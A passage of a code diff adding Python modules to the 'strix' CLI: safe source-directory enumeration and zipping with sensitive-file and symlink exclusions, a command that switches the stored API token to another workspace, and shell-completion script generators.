+                process.wait()
+
+
+def _git_relative_path(raw: bytes, relative_source: Path) -> Path | None:
+    repo_relative = Path(os.fsdecode(raw))
+    try:
+        relative = repo_relative.relative_to(relative_source)
+    except ValueError:
+        return None
+    if relative.is_absolute() or ".." in relative.parts:
+        raise http.CloudError("Git returned an unsafe source path.")
+    return relative
+
+
+def _walk_candidate_paths(
+    source: Path,
+    *,
+    include_hidden: bool,
+    patterns: list[str],
+    excluded: Counter[str],
+) -> Iterator[Path]:
+    """Walk top-down so excluded dependency, VCS, and hidden trees are never traversed."""
+    count = 0
+    stack: list[tuple[Path, _ScandirIterator]] = []
+    try:
+        stack.append((source, os.scandir(source)))
+        while stack:
+            root_path, entries = stack[-1]
+            try:
+                entry = next(entries)
+            except StopIteration:
+                entries.close()
+                stack.pop()
+                continue
+            count += 1
+            _check_candidate_limit(count)
+            path = root_path / entry.name
+            relative = path.relative_to(source)
+            try:
+                is_directory = entry.is_dir(follow_symlinks=False)
+                is_symlink = entry.is_symlink()
+            except OSError:
+                excluded["unreadable"] += 1
+                continue
+            if is_directory:
+                reason = _pruned_directory_reason(
+                    relative,
+                    include_hidden=include_hidden,
+                    patterns=patterns,
+                )
+                if reason:
+                    excluded[reason] += 1
+                    continue
+                try:
+                    stack.append((path, os.scandir(path)))
+                except OSError:
+                    excluded["unreadable"] += 1
+                continue
+            if is_symlink:
+                excluded["symlink_or_non_file"] += 1
+                continue
+            yield relative
+    except OSError as exc:
+        raise http.CloudError(f"could not enumerate source directory {source}: {exc}") from exc
+    finally:
+        for _, entries in stack:
+            entries.close()
+
+
+def _pruned_directory_reason(
+    relative: Path,
+    *,
+    include_hidden: bool,
+    patterns: list[str],
+) -> str | None:
+    lower_parts = tuple(part.lower() for part in relative.parts)
+    if any(part == ".git" for part in lower_parts):
+        return "git_metadata"
+    if any(part in _ALWAYS_EXCLUDED_DIRS for part in lower_parts):
+        return "dependency_or_build_output"
+    if not include_hidden and any(part.startswith(".") for part in relative.parts):
+        return "hidden"
+    if any(_matches_user_pattern(relative, pattern) for pattern in patterns):
+        return "user_pattern"
+    return None
+
+
+def _check_candidate_limit(count: int) -> None:
+    if count > MAX_CANDIDATE_PATHS:
+        raise http.CloudError(
+            f"source enumeration exceeded {MAX_CANDIDATE_PATHS:,} paths before filtering; "
+            "narrow --source or add directory exclusions."
+        )
+
+
+def _git_root(source: Path) -> Path | None:
+    git = shutil.which("git")
+    if git is None:
+        return None
+    result = subprocess.run(  # noqa: S603  # nosec B603
+        [git, "-C", str(source), "rev-parse", "--show-toplevel"],
+        check=False,
+        capture_output=True,
+        text=True,
+    )
+    if result.returncode != 0:
+        return None
+    try:
+        return Path(result.stdout.strip()).resolve()
+    except OSError:
+        return None
+
+
+def _exclusion_reason(  # noqa: PLR0911
+    relative: Path,
+    *,
+    include_hidden: bool,
+    include_sensitive: bool,
+    include_archives: bool,
+    patterns: list[str],
+) -> str | None:
+    parts = relative.parts
+    lower_parts = tuple(part.lower() for part in parts)
+    if any(part == ".git" for part in lower_parts):
+        return "git_metadata"
+    if any(part in _ALWAYS_EXCLUDED_DIRS for part in lower_parts[:-1]):
+        return "dependency_or_build_output"
+    if not include_hidden and any(part.startswith(".") for part in parts):
+        return "hidden"
+    if any(_matches_user_pattern(relative, pattern) for pattern in patterns):
+        return "user_pattern"
+    name = relative.name.lower()
+    if not include_sensitive and (
+        name in _SENSITIVE_NAMES
+        or any(fnmatch.fnmatch(name, pattern) for pattern in _SENSITIVE_PATTERNS)
+        or any(
+            lower_parts[-len(suffix) :] == suffix
+            for suffix in _SENSITIVE_PATH_SUFFIXES
+            if len(lower_parts) >= len(suffix)
+        )
+    ):
+        return "sensitive_filename"
+    if not include_archives and name.endswith(_ARCHIVE_SUFFIXES):
+        return "nested_archive"
+    return None
+
+
+def _matches_user_pattern(relative: Path, pattern: str) -> bool:
+    """Match exclude globs, including intuitive trailing-slash directory rules."""
+    relative_posix = relative.as_posix()
+    posix = PurePosixPath(relative_posix)
+    if pattern.endswith("/"):
+        directory_pattern = pattern.rstrip("/")
+        if not directory_pattern:
+            return False
+        return (
+            posix.match(directory_pattern)
+            or fnmatch.fnmatch(relative_posix, directory_pattern)
+            or any(
+                PurePosixPath(parent.as_posix()).match(directory_pattern)
+                or fnmatch.fnmatch(parent.as_posix(), directory_pattern)
+                for parent in posix.parents
+                if parent != PurePosixPath(".")
+            )
+        )
+    return posix.match(pattern) or fnmatch.fnmatch(relative_posix, pattern)
+
+
+def _write_archive(destination: Path, files: tuple[SelectedFile, ...]) -> None:
+    with zipfile.ZipFile(
+        destination, "w", compression=zipfile.ZIP_DEFLATED, compresslevel=6
+    ) as archive:
+        for item in files:
+            flags = os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0)
+            try:
+                descriptor = os.open(item.path, flags)
+            except OSError as exc:
+                raise http.CloudError(f"could not safely read {item.archive_name}: {exc}") from exc
+            with os.fdopen(descriptor, "rb") as source_file:
+                current = os.fstat(source_file.fileno())
+                if (
+                    not stat.S_ISREG(current.st_mode)
+                    or current.st_size != item.size
+                    or current.st_dev != item.device
+                    or current.st_ino != item.inode
+                    or current.st_mtime_ns != item.mtime_ns
+                    or current.st_ctime_ns != item.ctime_ns
+                ):
+                    raise http.CloudError(
+                        f"{item.archive_name} changed while the source archive was being built; "
+                        "retry."
+                    )
+                info = zipfile.ZipInfo(item.archive_name)
+                info.compress_type = zipfile.ZIP_DEFLATED
+                info.external_attr = 0o100644 << 16
+                with archive.open(info, "w", force_zip64=True) as target:
+                    remaining = item.size
+                    while remaining:
+                        chunk = source_file.read(min(1024 * 1024, remaining))
+                        if not chunk:
+                            raise http.CloudError(
+                                f"{item.archive_name} changed while the source archive was being "
+                                "built; retry."
+                            )
+                        target.write(chunk)
+                        remaining -= len(chunk)
+                    final = os.fstat(source_file.fileno())
+                    if (
+                        source_file.read(1)
+                        or not stat.S_ISREG(final.st_mode)
+                        or final.st_size != item.size
+                        or final.st_dev != item.device
+                        or final.st_ino != item.inode
+                        or final.st_mtime_ns != item.mtime_ns
+                        or final.st_ctime_ns != item.ctime_ns
+                    ):
+                        raise http.CloudError(
+                            f"{item.archive_name} changed while the source archive was being "
+                            "built; retry."
+                        )
+
+
+def _sha256(path: Path) -> str:
+    digest = hashlib.sha256()
+    with path.open("rb") as stream:
+        for chunk in iter(lambda: stream.read(1024 * 1024), b""):
+            digest.update(chunk)
+    return digest.hexdigest()
+
+
+def _has_archive_magic(path: Path) -> bool:
+    """Recognize common archive containers even when their suffix is disguised."""
+    flags = os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0)
+    try:
+        descriptor = os.open(path, flags)
+        with os.fdopen(descriptor, "rb") as stream:
+            header = stream.read(512)
+    except OSError:
+        return False
+    return header.startswith(_ARCHIVE_MAGIC_PREFIXES) or header[257:262] == b"ustar"
+
+
+def _load_ignore_patterns(source: Path) -> list[str]:
+    path = source / ".strixignore"
+    raw_text = _read_ignore_file(path)
+    if raw_text is None:
+        return []
+    if len(raw_text) > MAX_IGNORE_BYTES:
+        raise http.CloudError(f"{path} is larger than the {MAX_IGNORE_BYTES:,}-byte limit.")
+    try:
+        lines = raw_text.decode("utf-8").splitlines()
+    except UnicodeDecodeError as exc:
+        raise http.CloudError(f"{path} must be UTF-8 text.") from exc
+    patterns: list[str] = []
+    for line_number, raw in enumerate(lines, start=1):
+        value = raw.strip()
+        if not value or value.startswith("#"):
+            continue
+        if value.startswith("!"):
+            raise http.CloudError(
+                f"{path}:{line_number}: negated patterns are not supported; use exclude-only globs."
+            )
+        patterns.append(value)
+        if len(patterns) > MAX_IGNORE_PATTERNS:
+            raise http.CloudError(
+                f"{path} contains more than {MAX_IGNORE_PATTERNS:,} exclusion patterns."
+            )
+    return patterns
+
+
+def _read_ignore_file(path: Path) -> bytes | None:
+    """Read a bounded regular ignore file without blocking on a FIFO or device."""
+    try:
+        descriptor = os.open(
+            path,
+            os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0) | getattr(os, "O_NONBLOCK", 0),
+        )
+    except FileNotFoundError:
+        return None
+    except OSError as exc:
+        raise http.CloudError(f"could not read {path}: {exc}") from exc
+    try:
+        info = os.fstat(descriptor)
+    except OSError as exc:
+        os.close(descriptor)
+        raise http.CloudError(f"could not inspect {path}: {exc}") from exc
+    if not stat.S_ISREG(info.st_mode):
+        os.close(descriptor)
+        raise http.CloudError(f"{path} must be a regular file.")
+    try:
+        stream = os.fdopen(descriptor, "rb")
+    except OSError as exc:
+        os.close(descriptor)
+        raise http.CloudError(f"could not read {path}: {exc}") from exc
+    try:
+        return stream.read(MAX_IGNORE_BYTES + 1)
+    except OSError as exc:
+        raise http.CloudError(f"could not read {path}: {exc}") from exc
+    finally:
+        stream.close()
+
+
+def _validate_patterns(patterns: list[str]) -> None:
+    if len(patterns) > MAX_IGNORE_PATTERNS:
+        raise http.CloudError(
+            f"source upload accepts at most {MAX_IGNORE_PATTERNS:,} exclusion patterns."
+        )
+    for pattern in patterns:
+        if len(pattern) > MAX_IGNORE_PATTERN_CHARS:
+            raise http.CloudError(
+                "source exclusion patterns must be at most "
+                f"{MAX_IGNORE_PATTERN_CHARS:,} characters each."
+            )
+        if "\x00" in pattern:
+            raise http.CloudError("source exclusion patterns cannot contain NUL bytes.")

strix/interface/cloud/workspaces.py

@@ -0,0 +1,291 @@
+"""`strix cloud workspaces use` — switch the stored token to another workspace.
+
+The command lists the workspaces of the account, finds the requested one by
+ID or by exact name, asks the platform to rotate that token in place, and
+stores the returned workspace metadata. The bearer secret and expiry stay the
+same; the account's role in the target workspace limits the granted scopes.
+"""
+
+from __future__ import annotations
+
+import os
+from typing import TYPE_CHECKING, Any, cast
+
+from rich.console import Console
+from rich.markup import escape
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+from strix.interface.cloud.arguments import CloudArgumentParser
+from strix.interface.cloud.render import emit, json_mode
+from strix.interface.platform_cli import AUTH_PATH, read_record, save_record
+from strix.interface.platform_identity import read_or_create_identity
+from strix.interface.terminal_text import sanitize_terminal_text
+
+
+if TYPE_CHECKING:
+    import argparse
+
+
+def run_workspace_use(argv: list[str]) -> int:
+    """Entry point for ``strix cloud workspaces use``. Returns an exit code."""
+    console = Console()
+    parser = CloudArgumentParser(
+        prog="strix cloud workspaces use",
+        description="Switch the stored API token to another workspace.",
+    )
+    parser.add_argument(
+        "workspace",
+        metavar="WORKSPACE",
+        help="Workspace number from `workspaces list`, ID, or exact name.",
+    )
+    scope_mode = parser.add_mutually_exclusive_group()
+    scope_mode.add_argument(
+        "--scopes",
+        nargs="+",
+        metavar="SCOPE",
+        default=None,
+        help=(
+            "Use a custom scope set within the login-approved ceiling. "
+            "Without this option, preserve the server-side scope preference."
+        ),
+    )
+    scope_mode.add_argument(
+        "--scope-profile",
+        choices=("minimal", "recommended", "full"),
+        default=None,
+        help="Change to a profile within the authority approved at login.",
+    )
+    parser.add_argument("--show-scopes", action="store_true", help="Print every granted scope.")
+    parser.add_argument("--json", action="store_true", help="Print the raw JSON response.")
+    parser.add_argument("--token", default=None, help="API token override.")
+    parser.add_argument(
+        "--workspace-id",
+        default=None,
+        metavar="ORG_ID",
+        help="Expected workspace for an override CLI token.",
+    )
+    parser.add_argument("--app-url", default=None, metavar="URL", help="Platform URL override.")
+    parser.add_argument(
+        "--timeout", default=None, type=float, metavar="SECONDS", help="Request timeout in seconds."
+    )
+    as_json = json_mode(flag="--json" in argv)
+    try:
+        args = parser.parse_args(argv)
+    except SystemExit as exc:
+        return exc.code if isinstance(exc.code, int) else 2
+    except http.CloudError as exc:
+        _emit_cloud_error(console, exc, as_json=as_json)
+        return exc.exit_code
+
+    as_json = json_mode(flag=bool(args.json))
+    try:
+        http.configure(
+            base_url=args.app_url,
+            timeout=args.timeout,
+            token_override=bool(args.token),
+            workspace_id=args.workspace_id,
+        )
+        return _use(console, args, as_json=as_json)
+    except http.CloudError as exc:
+        _emit_cloud_error(console, exc, as_json=as_json)
+        return exc.exit_code
+
+
+def _use(  # noqa: PLR0912, PLR0915
+    console: Console, args: argparse.Namespace, *, as_json: bool
+) -> int:
+    workspace = _find_workspace(args.workspace, token=args.token)
+    stored_record: dict[str, Any] = read_record() or {}
+    # An override token may belong to a different account. Never mix its new
+    # workspace state with identity or scope preferences from the stored sign-in.
+    external_token = args.token is not None or bool(os.environ.get("STRIX_API_TOKEN", "").strip())
+    record: dict[str, Any] = {} if external_token else dict(stored_record)
+    body: dict[str, Any] = {}
+    if args.scopes:
+        body["scopes"] = args.scopes
+        body["scope_profile"] = "custom"
+    elif args.scope_profile:
+        body["scope_profile"] = args.scope_profile
+    if not external_token:
+        try:
+            body.update(read_or_create_identity())
+        except (OSError, ValueError) as exc:
+            raise http.CloudError(f"could not load the CLI device identity: {exc}") from exc
+    switched = _switch_workspace_token(
+        str(workspace["id"]),
+        token=args.token,
+        body=body or None,
+    )
+    if not isinstance(switched, dict):
+        raise _workspace_switch_unknown("the platform returned an invalid response")
+    switched_record = cast("dict[str, Any]", switched)
+    switched_token = switched_record.get("api_token")
+    if not isinstance(switched_token, str) or not switched_token.strip():
+        raise _workspace_switch_unknown("the platform response omitted the token")
+    switched_scopes = switched_record.get("scopes")
+    switched_scope_items = cast("list[Any]", cast("Any", switched_scopes))
+    if not isinstance(switched_scopes, list) or not all(
+        isinstance(scope, str) for scope in switched_scope_items
+    ):
+        raise _workspace_switch_unknown("the platform response contained invalid scopes")
+    validated_scopes = cast("list[str]", switched_scope_items)
+
+    record.update(
+        {
+            "api_token": switched_token,
+            "organization_id": switched_record.get("organization_id", workspace["id"]),
+            "organization_name": switched_record.get(
+                "organization_name", workspace.get("name", "")
+            ),
+            "expires_at": switched_record.get("expires_at") or stored_record.get("expires_at"),
+            "scopes": validated_scopes,
+            "requested_scopes": switched_record.get("requested_scopes", validated_scopes),
+            "scope_ceiling": switched_record.get("scope_ceiling", []),
+            "scope_profile": switched_record.get("scope_profile", "custom"),
+            "token_id": switched_record.get("token_id"),
+            "credential_source": switched_record.get("credential_source", "api"),
+            "device_name": switched_record.get("device_name"),
+            "app_url": http.app_url(),
+        }
+    )
+    if switched_record.get("email"):
+        record["email"] = switched_record["email"]
+    if not external_token:
+        try:
+            save_record(record)
+        except OSError as exc:
+            raise http.CloudError(
+                "the platform switched the token, but the local workspace metadata could not be "
+                f"stored in {AUTH_PATH}: {exc}. The bearer is still valid; fix the file and safely "
+                "rerun the same workspace use command.",
+                payload={
+                    "workspace_switched": True,
+                    "local_record_updated": False,
+                    "retry_safe": True,
+                },
+            ) from exc
+
+    result = {
+        "workspace_id": record["organization_id"],
+        "workspace_name": record["organization_name"],
+        "scopes": record["scopes"],
+        "requested_scopes": record.get("requested_scopes", record["scopes"]),
+        "scope_ceiling": record.get("scope_ceiling", []),
+        "scope_profile": record.get("scope_profile", "custom"),
+        "expires_at": record.get("expires_at"),
+        "token_id": record.get("token_id"),
+        "credential_source": record.get("credential_source", "api"),
+        "device_name": record.get("device_name"),
+        "stored": not external_token,
+    }
+    if as_json:
+        emit(console, result, as_json=True)
+        return http.EXIT_OK
+    workspace_name = escape(sanitize_terminal_text(record["organization_name"]))
+    console.print(f"[green]✓ Switched to workspace [bold]{workspace_name}[/].[/]")
+    scopes = record.get("scopes")
+    if isinstance(scopes, list) and scopes:
+        scope_items = cast("list[Any]", cast("Any", scopes))
+        scope_names = [scope for scope in scope_items if isinstance(scope, str)]
+        if scope_names and args.show_scopes:
+            rendered_scopes = escape(sanitize_terminal_text(" ".join(scope_names)))
+            console.print(f"  Scopes: [dim]{rendered_scopes}[/]")
+        elif scope_names:
+            profile = str(record.get("scope_profile") or "custom").title()
+            console.print(f"  Access: [dim]{profile} · {len(scope_names)} scopes granted[/]")
+    if external_token:
+        console.print("  Token:  [dim]override used for this command only; not stored[/]")
+    else:
+        console.print(f"  Token:  stored in [dim]{escape(sanitize_terminal_text(AUTH_PATH))}[/]")
+    return http.EXIT_OK
+
+
+def _switch_workspace_token(
+    workspace_id: str,
+    *,
+    token: str | None,
+    body: dict[str, Any] | None,
+) -> Any:
+    """Switch in place, distinguishing definitive rejections from lost outcomes."""
+    try:
+        response = http.request(
+            "POST",
+            f"/workspaces/{workspace_id}/token",
+            token=token,
+            body=body,
+        )
+    except http.CloudError as exc:
+        raise _workspace_switch_unknown(str(exc)) from exc
+
+    # Client/auth/conflict responses prove the rotation did not return success.
+    # A 5xx or malformed success may arrive after the database commit, but the
+    # server preserves the bearer so replaying this exact command is safe.
+    if response.status_code in {400, 401, 403, 404, 409, 422}:
+        return http.check(response)
+    try:
+        return http.check(response)
+    except http.CloudError as exc:
+        raise _workspace_switch_unknown(str(exc)) from exc
+
+
+def _workspace_switch_unknown(detail: str) -> http.CloudError:
+    return http.CloudError(
+        "workspace switch outcome is unknown: "
+        f"{sanitize_terminal_text(detail)}. The bearer secret is unchanged; safely rerun the "
+        "same workspace use command, or list workspaces to check the current one.",
+        payload={
+            "switch_outcome_unknown": True,
+            "retry_safe": True,
+        },
+    )
+
+
+def _emit_cloud_error(console: Console, error: http.CloudError, *, as_json: bool) -> None:
+    if as_json:
+        raw_payload: Any = error.payload
+        error_payload = cast("dict[str, Any]", raw_payload)
+        payload = dict(error_payload) if isinstance(raw_payload, dict) else {}
+        payload["error"] = str(error)
+        emit(console, payload, as_json=True)
+        return
+    console.print(f"[red]Error:[/] {escape(sanitize_terminal_text(error))}")
+
+
+def _find_workspace(selector: str, *, token: str | None) -> dict[str, Any]:
+    listed = http.check(http.request("GET", "/workspaces", token=token))
+    listed_record = cast("dict[str, Any]", listed) if isinstance(listed, dict) else {}
+    items = listed_record.get("workspaces")
+    item_values = cast("list[Any]", cast("Any", items)) if isinstance(items, list) else []
+    workspaces = [
+        cast("dict[str, Any]", cast("Any", item)) for item in item_values if isinstance(item, dict)
+    ]
+    if not workspaces:
+        raise http.CloudError("no workspaces found for this account.")
+    wanted = selector.strip()
+    if wanted.isdigit():
+        index = int(wanted)
+        if 1 <= index <= len(workspaces):
+            return workspaces[index - 1]
+        raise http.CloudError(
+            f"workspace number must be between 1 and {len(workspaces)}. "
+            "Run `strix cloud workspaces` to see the numbered list."
+        )
+    by_id = [w for w in workspaces if w.get("id") == wanted]
+    if by_id:
+        return by_id[0]
+    by_name = [w for w in workspaces if str(w.get("name", "")).casefold() == wanted.casefold()]
+    if len(by_name) == 1:
+        return by_name[0]
+    if len(by_name) > 1:
+        numbers = ", ".join(
+            str(index)
+            for index, workspace in enumerate(workspaces, start=1)
+            if workspace in by_name
+        )
+        raise http.CloudError(
+            f"multiple workspaces are named {wanted!r}. Use its list number: {numbers}"
+        )
+    names = ", ".join(
+        f"{index}: {workspace.get('name')}" for index, workspace in enumerate(workspaces, start=1)
+    )
+    raise http.CloudError(f"no workspace matches {wanted!r}. Your workspaces: {names}")

strix/interface/completions.py

@@ -0,0 +1,373 @@
+"""Shell completion scripts and candidates for the Strix CLI."""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+from typing import Any
+
+from strix.interface.cloud.spec import DEFAULT_VERBS, SPEC, Cmd
+from strix.interface.terminal_text import has_terminal_control, sanitize_terminal_text
+
+
+_ROOT_COMMANDS = ("cloud", "auth", "view", "completions", "completion")
+_SESSION_COMMANDS = ("login", "logout", "whoami", "session", "credits")
+_COMMON_FLAGS = (
+    "--json",
+    "--token",
+    "--workspace-id",
+    "--app-url",
+    "--timeout",
+    "-h",
+    "--help",
+)
+_COMMON_VALUE_FLAGS = frozenset({"--token", "--workspace-id", "--app-url", "--timeout"})
+_WORKSPACE_USE_FLAGS = (*_COMMON_FLAGS, "--scopes", "--scope-profile", "--show-scopes")
+
+
+def run_completions(argv: list[str]) -> int:
+    """Print a shell integration script or hidden completion candidates."""
+    if argv and argv[0] == "--candidates":
+        for candidate in completion_candidates(argv[1:]):
+            sys.stdout.write(candidate + "\n")
+        return 0
+    if not argv or argv[0] in ("-h", "--help", "help"):
+        sys.stdout.write(
+            "Usage: strix completions <zsh|bash|fish>\n\n"
+            "Enable tab completion for the current shell:\n"
+            "  zsh:  source <(strix completions zsh)\n"
+            "  bash: source <(strix completions bash)\n"
+            "  fish: strix completions fish | source\n"
+        )
+        return 0
+    shell = argv[0].lower()
+    scripts = {"zsh": _zsh_script, "bash": _bash_script, "fish": _fish_script}
+    generator = scripts.get(shell)
+    if generator is None:
+        sys.stderr.write(
+            f"Unknown shell: {sanitize_terminal_text(shell)}. Choose zsh, bash, or fish.\n"
+        )
+        return 2
+    sys.stdout.write(generator())
+    return 0
+
+
+def completion_candidates(words: list[str]) -> list[str]:
+    """Return candidates for words after the ``strix`` executable."""
+    prior, current = _split_cursor(words)
+    if not prior:
+        candidates = _matching(_ROOT_COMMANDS, current)
+    elif prior[0] != "cloud":
+        candidates = []
+    else:
+        candidates = _cloud_candidates(prior[1:], current)
+    # The line-oriented shell protocol cannot represent these names safely.
+    # Omitting them is preferable to returning a sanitized path that does not exist.
+    return [candidate for candidate in candidates if not has_terminal_control(candidate)]
+
+
+def _split_cursor(words: list[str]) -> tuple[list[str], str]:
+    if not words:
+        return [], ""
+    return words[:-1], words[-1]
+
+
+def _cloud_candidates(prior: list[str], current: str) -> list[str]:  # noqa: PLR0911
+    groups = (*_SESSION_COMMANDS, *SPEC, "workspace")
+    if not prior:
+        return _matching(groups, current)
+    group = "workspaces" if prior[0] == "workspace" else prior[0]
+    rest = prior[1:]
+    if group in _SESSION_COMMANDS:
+        return _session_candidates(group, rest, current)
+    commands = SPEC.get(group)
+    if commands is None:
+        return _matching(groups, current)
+    default_verb = DEFAULT_VERBS.get(group)
+    default_is_active = (rest and rest[0].startswith("-")) or (not rest and current.startswith("-"))
+    if default_verb is not None and default_is_active:
+        return _command_candidates(commands[default_verb], rest, current)
+
+    command_paths = sorted(
+        ((verb.split(), cmd) for verb, cmd in commands.items()),
+        key=lambda item: len(item[0]),
+        reverse=True,
+    )
+    for path, cmd in command_paths:
+        if rest[: len(path)] == path:
+            command_candidates = _command_candidates(cmd, rest[len(path) :], current)
+            if rest == path:
+                nested_words = {
+                    candidate_path[len(path)]
+                    for candidate_path, _candidate_cmd in command_paths
+                    if len(candidate_path) > len(path) and candidate_path[: len(path)] == path
+                }
+                return sorted({*command_candidates, *_matching(nested_words, current)})
+            return command_candidates
+    if group == "workspaces" and rest[:1] == ["use"]:
+        return _flag_candidates(
+            _WORKSPACE_USE_FLAGS,
+            rest[1:],
+            current,
+            value_flags=_COMMON_VALUE_FLAGS | {"--scopes"},
+        )
+
+    verb_paths = [path for path, _cmd in command_paths]
+    if group == "workspaces":
+        verb_paths.append(["use"])
+    matching_paths = [path for path in verb_paths if path[: len(rest)] == rest]
+    if not matching_paths:
+        return []
+    next_words = sorted({path[len(rest)] for path in matching_paths if len(path) > len(rest)})
+    return _matching(next_words, current)
+
+
+def _session_candidates(group: str, prior: list[str], current: str) -> list[str]:
+    if group == "session":
+        if not prior:
+            return _matching(("show", "scopes", "help", *_COMMON_FLAGS, "--show-scopes"), current)
+        if prior[:1] == ["scopes"] and len(prior) == 1:
+            return _matching(("set", *_COMMON_FLAGS, "--show-scopes"), current)
+        if prior[:2] == ["scopes", "set"]:
+            return _matching(
+                ("minimal", "recommended", "full", "--scopes", *_COMMON_FLAGS, "--show-scopes"),
+                current,
+            )
+        return _flag_candidates(
+            (*_COMMON_FLAGS, "--show-scopes"),
+            prior,
+            current,
+            value_flags=_COMMON_VALUE_FLAGS | {"--scopes"},
+        )
+    flags = _session_flags(group)
+    value_flags: frozenset[str] = frozenset()
+    if group == "login":
+        value_flags = frozenset({"--scopes", "--scope-profile", "--workspace", "--device-name"})
+    elif group == "credits":
+        value_flags = _COMMON_VALUE_FLAGS
+    return _flag_candidates(flags, prior, current, value_flags=value_flags)
+
+
+def _session_flags(group: str) -> tuple[str, ...]:
+    if group == "login":
+        return (
+            "--no-browser",
+            "--scopes",
+            "--scope-profile",
+            "--workspace",
+            "--device-name",
+            "-h",
+            "--help",
+        )
+    if group == "whoami":
+        return ("--json", "--show-scopes", "-h", "--help")
+    if group == "logout":
+        return ("--json", "--local-only", "-h", "--help")
+    if group == "credits":
+        return _COMMON_FLAGS
+    return ("-h", "--help")
+
+
+def _command_candidates(cmd: Cmd, prior: list[str], current: str) -> list[str]:
+    filesystem = _filesystem_candidates(cmd, prior, current)
+    if filesystem is not None:
+        return filesystem
+    return _flag_candidates(
+        _command_flags(cmd),
+        prior,
+        current,
+        value_flags=_command_value_flags(cmd),
+    )
+
+
+def _flag_candidates(
+    flags: tuple[str, ...],
+    prior: list[str],
+    current: str,
+    *,
+    value_flags: frozenset[str],
+) -> list[str]:
+    if prior and prior[-1] in value_flags and not current.startswith("-"):
+        return []
+    return _matching(flags, current)
+
+
+def _command_flags(cmd: Cmd) -> tuple[str, ...]:
+    flags: list[str] = list(_COMMON_FLAGS)
+    for param in cmd.query + cmd.body:
+        flag = "--" + (param.flag or _kebab(param.name))
+        flags.append(flag)
+        if param.kind == "bool":
+            flags.append("--no-" + flag.removeprefix("--"))
+    if cmd.method in ("POST", "PUT", "PATCH"):
+        flags.append("--data")
+    if cmd.idempotent:
+        flags.append("--idempotency-key")
+    if cmd.binary or cmd.path == "/audit":
+        flags.extend(("--output", "--force"))
+    if cmd.link:
+        flags.append("--no-browser")
+    if cmd.wait_path or cmd.wait_self:
+        flags.extend(("--wait", "--wait-timeout"))
+    if cmd.path == "/billing/topup":
+        flags.extend(("--yes", "--no-pay", "--payment-method"))
+    if cmd.path == "/scans" and cmd.method == "POST":
+        flags.extend(
+            (
+                "--source",
+                "--approve-sha256",
+                "--dry-run",
+                "--yes",
+                "--show-files",
+                "--exclude",
+                "--include-hidden",
+                "--include-sensitive",
+                "--include-archives",
+            )
+        )
+    if cmd.path == "/billing/auto-topup" and cmd.method == "PUT":
+        flags.append("--no-monthly-cap")
+    return tuple(dict.fromkeys(flags))
+
+
+def _command_value_flags(cmd: Cmd) -> frozenset[str]:
+    flags = set(_COMMON_VALUE_FLAGS)
+    for param in cmd.query + cmd.body:
+        if param.kind != "bool":
+            flags.add("--" + (param.flag or _kebab(param.name)))
+    if cmd.method in ("POST", "PUT", "PATCH"):
+        flags.add("--data")
+    if cmd.idempotent:
+        flags.add("--idempotency-key")
+    if cmd.binary or cmd.path == "/audit":
+        flags.add("--output")
+    if cmd.wait_path or cmd.wait_self:
+        flags.add("--wait-timeout")
+    if cmd.path == "/billing/topup":
+        flags.add("--payment-method")
+    if cmd.path == "/scans" and cmd.method == "POST":
+        flags.update(("--source", "--approve-sha256", "--exclude"))
+    return frozenset(flags)
+
+
+def _filesystem_candidates(  # noqa: PLR0911
+    cmd: Cmd, prior: list[str], current: str
+) -> list[str] | None:
+    inline = (
+        ("--source=", True, ""),
+        ("--output=", False, ""),
+        ("--data=@", False, "@"),
+    )
+    for option, directories_only, marker in inline:
+        if current.startswith(option):
+            value = current.removeprefix(option)
+            return [
+                option + candidate.removeprefix(marker)
+                for candidate in _path_candidates(
+                    marker + value,
+                    directories_only=directories_only,
+                    marker=marker,
+                )
+            ]
+
+    if not prior or current.startswith("-"):
+        return None
+    option = prior[-1]
+    if option == "--source" and cmd.path == "/scans" and cmd.method == "POST":
+        return _path_candidates(current, directories_only=True)
+    if option == "--output" and (cmd.binary or cmd.path == "/audit"):
+        return _path_candidates(current)
+    if option == "--data" and cmd.method in ("POST", "PUT", "PATCH"):
+        if not current:
+            return ["@"]
+        if current.startswith("@"):
+            return _path_candidates(current, marker="@")
+        return []
+    return None
+
+
+def _path_candidates(
+    value: str,
+    *,
+    directories_only: bool = False,
+    marker: str = "",
+) -> list[str]:
+    raw = value.removeprefix(marker) if marker else value
+    ends_with_separator = raw.endswith(("/", "\\"))
+    expanded = Path(raw or ".").expanduser()
+    directory = expanded if ends_with_separator else expanded.parent
+    name_prefix = "" if ends_with_separator else expanded.name
+    raw_base = raw if ends_with_separator else raw[: len(raw) - len(name_prefix)]
+    try:
+        entries = directory.iterdir()
+        matches = [
+            entry
+            for entry in entries
+            if entry.name.startswith(name_prefix) and (not directories_only or entry.is_dir())
+        ]
+    except OSError:
+        return []
+
+    candidates: list[str] = []
+    for entry in sorted(matches, key=lambda item: item.name.casefold()):
+        candidate = marker + raw_base + entry.name
+        if entry.is_dir():
+            candidate += "/"
+        candidates.append(candidate)
+    return candidates
+
+
+def _kebab(value: str) -> str:
+    output: list[str] = []
+    for char in value:
+        if char.isupper():
+            output.extend(("-", char.lower()))
+        else:
+            output.append("-" if char == "_" else char)
+    return "".join(output)
+
+
+def _matching(candidates: Any, prefix: str) -> list[str]:
+    return sorted({str(candidate) for candidate in candidates if str(candidate).startswith(prefix)})
+
+
+def _zsh_script() -> str:
+    return r"""#compdef strix
+_strix() {
+  local -a candidates
+  candidates=("${(@f)$($words[1] completions --candidates "${words[@]:2}")}")
+  _describe 'strix' candidates
+}
+compdef _strix strix
+"""
+
+
+def _bash_script() -> str:
+    return r"""_strix_completion() {
+  local -a candidates
+  local candidate
+  while IFS= read -r candidate; do
+    candidates+=("$candidate")
+  done < <(strix completions --candidates "${COMP_WORDS[@]:1:$COMP_CWORD}")
+  COMPREPLY=("${candidates[@]}")
+  for candidate in "${COMPREPLY[@]}"; do
+    if [[ $candidate == */ ]]; then
+      if type compopt >/dev/null 2>&1; then
+        compopt -o nospace
+      fi
+      break
+    fi
+  done
+}
+complete -F _strix_completion strix
+"""
+
+
+def _fish_script() -> str:
+    return r"""function __strix_candidates
+  set -l words (commandline -opc)
+  set -e words[1]
+  command strix completions --candidates $words (commandline -ct)
+end
+complete -c strix -f -a '(__strix_candidates)'
+"""

strix/interface/environment.py

@@ -8,7 +8,7 @@ from rich.console import Console
 from rich.panel import Panel
 from rich.text import Text
 
